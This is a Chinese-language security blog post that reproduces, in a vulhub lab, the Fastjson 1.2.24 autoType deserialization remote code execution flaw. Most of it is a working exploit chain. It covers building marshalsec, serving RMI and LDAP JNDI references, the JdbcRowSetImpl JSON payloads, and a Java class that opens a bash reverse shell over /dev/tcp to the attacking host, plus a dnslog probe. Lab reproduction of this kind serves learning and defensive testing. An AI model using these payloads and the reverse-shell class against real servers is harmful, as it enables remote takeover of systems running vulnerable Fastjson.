freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【vulhub】Fastjson1.2.24反序列化导致任意命令执行漏洞复现
2025-01-08 17:23:15
所属地 广西

fastjson 简介

阿里巴巴开源的 json 解析库,基于 java 编写。用于在 java 和 json 数据之间进行转换,它提供了一种简单而高效的方式来序列化 java 对象为 json 格式字符串,也可以将 json 字符串转换为 java 对象。fastjson 可以操作各种类型 java 对象,即使是一些预先存在但没有源码的对象,使用比较广泛。

漏洞原理

目标网站在解析 json 时存在自动类型转换功能(autoType),未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,攻击者构造对应的 payload,让系统执行,就能达到代码执行,甚至命令执行的目的。

官方解释为:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

影响版本

受影响版本范围:fastjson<=1.2.24

漏洞环境

靶机:vulhub_centos7(192.168.237.190)

运行测试环境

cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

查看运行的容器

docker ps

环境运行后,访问 http://192.168.237.190:8090 即可看到 json 格式的输出

漏洞复现

攻击机:kali2024.2(192.168.237.174)

java 版本为 8u202

漏洞验证

使用 curl 命令发送一个 post 请求,即可更新服务端信息

curl http://192.168.237.190:8090/ -H "Content-Type: application/json" --data '{"name":"hahaha", "age":20}'

可以看到 name 和 age 都变为我们提交的请求值,成功返回了 json 格式的请求结果,没有报错

可以说明存在该漏洞

也可以 burp 抓包检测

将 GET 请求改为 POST,Content-Type 字段改为application/json,添加请求参数

{"name":"hahaha", "age":20}

发送请求,可以看到返回包里的 name 和 age 和我们的请求值一致

漏洞利用

安装 maven

下载地址(这两个链接都可)

https://maven.apache.org/download.cgi

https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/

wget https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz  

下载完成先创建 mvn 文件夹

mkdir -p /usr/local/apache-maven
cp apache-maven-3.6.3-bin.tar.gz /usr/local/apache-maven
cd /usr/local/apache-maven/
tar -xzvf apache-maven-3.6.3-bin.tar.gz
update-alternatives --install /usr/bin/mvn mvn /usr/local/apache-maven/apache-maven-3.6.3/bin/mvn 1
update-alternatives --config mvn

添加全局变量

vim /etc/profile
JAVA_HOME=/usr/local/apache-maven/apache-maven-3.6.3
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
MAVEN_OPTS="-Xms256m -Xmx512m"
export JAVA_HOME
export PATH
export MAVEN_OPTS

刷新配置,使文件生效

source /etc/profile
exit

查看 mvn 版本

mvn -version

可以看到 mvn 环境已经安装成功

安装反序列化工具 marshalsec

下载地址:

https://github.com/mbechler/marshalsec

克隆文件

git clone https://github.com/mbechler/marshalsec.git

进入 marshalsec 项目文件夹里,用 maven 环境执行如下命令进行编译,编译成功会生成一个 target 目录

mvn clean package -DskipTests

可以看到 target 目录已生成

在 target 目录下会生成 marshalsec-0.0.3-SNAPSHOT-all.jar 文件

本地写一个 test.java,内容如下

// javac test.java
import java.lang.Runtime;
import java.lang.Process;
 
public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/test666"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译生成 test.class 文件

javac test.java

然后在当前目录用 python 开一个 http 服务

python -m http.server 6688

这个时候需要启动一个 rmi 服务器,将这个 rmi 服务器在本地监听,如果有人远程调用 test 方法,就会访问 python 共享的 test.class

构建 rmi 服务器需要 marshalsec-0.0.3--SHOT-all.jar ,也就是用 mvn 编译生成的文件,也可以直接下载

https://github.com/RandomRobbieBF/marshalsec-jar

开启 rmi 服务

cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.237.174:6688/#test" 6655

上述中#后面加上test.class的名称 test 即可,后面的端口号为 6655,需要使用fastjson漏洞调用远程请求监听的 rmi 服务器

最后一步需要构造payload,如下,手动抓包时注意,需要将 GET 更改为POST,将Content-Type改为application/json

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.237.174:6655/test",
        "autoCommit":true
    }
}

响应包返回 500,进入服务器查看是否生成文件 test666

docker exec -it d6403 /bin/bash

成功生成文件

反弹 shell,修改文件内容

// javac shell.java
import java.lang.Runtime;
import java.lang.Process;
 
public class shell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.237.174/2233 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译.java 文件,生成.class 文件

javac shell.java

然后重复上述操作

开启 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.237.174:6688/#shell" 6655

构造 payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.237.174:6655/shell",
        "autoCommit":true
    }
}

监听反弹语句中的端口

nc -lvvp 2233

成功反弹 shell

查看共享

执行命令

ip addr
whoami

上述为基于 rmi 的利用方式

那么基于 ldap 应该如何利用

开启 ldap 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.237.174:6688/#shell" 6677

构造 payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.237.174:6677/shell",
        "autoCommit":true
    }
}

监听反弹 shell 中的端口

nc -lvvp 2233

查看共享

ldap 利用也可以打 dns

修改 payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://srgw1c.dnslog.cn",
        "autoCommit":true
    }
}

查看 dnslog 记录

参考链接:

https://www.freebuf.com/vuls/208339.html


# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录